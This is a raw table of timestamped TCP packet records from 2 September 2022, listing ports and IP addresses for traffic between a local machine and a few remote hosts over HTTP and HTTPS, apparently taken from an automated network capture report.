Sep 2, 2022 14:02:32.071130991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071147919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071175098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.071206093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.071494102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071515083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071528912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071578026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.071638107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071657896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071674109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071703911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.071772099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071789980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071803093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071839094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.071965933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.071985960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.072029114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.072041988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.072288990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.072308064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.072321892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.072341919 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.072366953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.076836109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.076886892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.076910973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.077045918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.091375113 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.091597080 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.120255947 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120284081 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120301962 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120383024 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120393038 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120405912 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120415926 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120465994 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120471954 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120486975 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120517015 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120526075 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120546103 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120579958 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120589018 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120614052 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120645046 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120652914 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120697975 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120707035 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120726109 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120749950 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120758057 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120803118 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120814085 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.120856047 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.120897055 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.142620087 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:32.154397011 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.154433966 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.161953926 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.161977053 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.162062883 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.197618961 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.197637081 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.197649956 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.197783947 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.197789907 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.197799921 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.197941065 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.197947979 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.197957993 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.197963953 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198082924 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198088884 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198100090 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198190928 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198196888 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198204994 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198221922 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198225975 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198236942 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198280096 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198335886 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198352098 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198371887 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198384047 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198438883 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198446989 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198484898 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198491096 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198523045 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198529005 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.198539972 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.198575974 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.203466892 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.203486919 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.203505039 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.203588963 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.203641891 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.327392101 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.327615976 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.391408920 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.391432047 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391452074 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391591072 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.391602039 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391622066 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391666889 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.391674995 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391736031 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.391742945 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391753912 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391799927 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.391820908 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391859055 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.391865969 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391877890 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391887903 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391926050 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.391935110 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.391978979 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.391988993 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392002106 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392011881 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392043114 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392050028 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392082930 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392086029 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392102003 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392132044 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392143011 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392160892 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392168999 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392185926 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392194986 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392213106 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392241001 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392254114 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392271042 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392281055 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392316103 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.392332077 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392364025 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.392395020 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.395046949 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.395086050 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.395196915 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.403378010 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.403474092 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.543972015 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544008970 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544035912 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544049978 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544116020 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544128895 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544161081 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544167042 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544194937 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544224977 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544234037 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544243097 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544337034 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544346094 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544377089 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544384003 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544394970 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544456959 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544466972 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544491053 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544514894 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544536114 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544601917 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544632912 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.544642925 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.544688940 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.566605091 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.566637039 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.566754103 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.570753098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.572757959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.590527058 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590545893 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590564013 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590574980 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590637922 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590643883 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590704918 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590711117 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590771914 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590779066 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590836048 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590841055 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590852022 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590856075 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590925932 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590929985 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590933084 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.590993881 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.590997934 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.591034889 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.591039896 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.591053963 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.591079950 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.591084003 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.591141939 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.591149092 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.591192007 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.591211081 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.591227055 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.591305971 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.599381924 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.600693941 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.610821009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.610955954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.736628056 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.736665010 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.736757994 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.736959934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.737000942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.737015009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.737061024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.738445044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.738465071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.738476992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.738538980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.738543987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.738557100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.738584995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.738604069 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.738954067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.738970041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.738982916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.739027023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.739275932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.739294052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.739305973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.739345074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.739927053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.739947081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.739959955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740009069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740009069 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.740026951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740047932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740051031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.740071058 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.740314007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740331888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740344048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740359068 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.740375996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.740557909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740573883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740586996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740626097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.740870953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740888119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740899086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.740926981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.740948915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.741116047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.741133928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.741144896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.741166115 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.741182089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.741370916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.741388083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.741405010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.741420984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.741436958 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.741641998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.741662025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.741714001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.741723061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742068052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742089033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742119074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742141962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.742162943 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.742230892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742249966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742260933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742276907 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.742291927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.742515087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742533922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742547035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742566109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.742583036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.742714882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742732048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742743969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.742784023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.743032932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743052006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743065119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743081093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.743097067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.743336916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743379116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743391991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743460894 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.743650913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743669987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743681908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743709087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.743752003 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.743833065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743850946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743864059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.743876934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.743915081 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.744194984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744211912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744224072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744261026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.744277954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.744472980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744489908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744502068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744539976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.744690895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744716883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744733095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744769096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.744936943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744955063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744968891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.744990110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.745007992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.745726109 CEST	80	49787	85.209.157.230	192.168.2.6
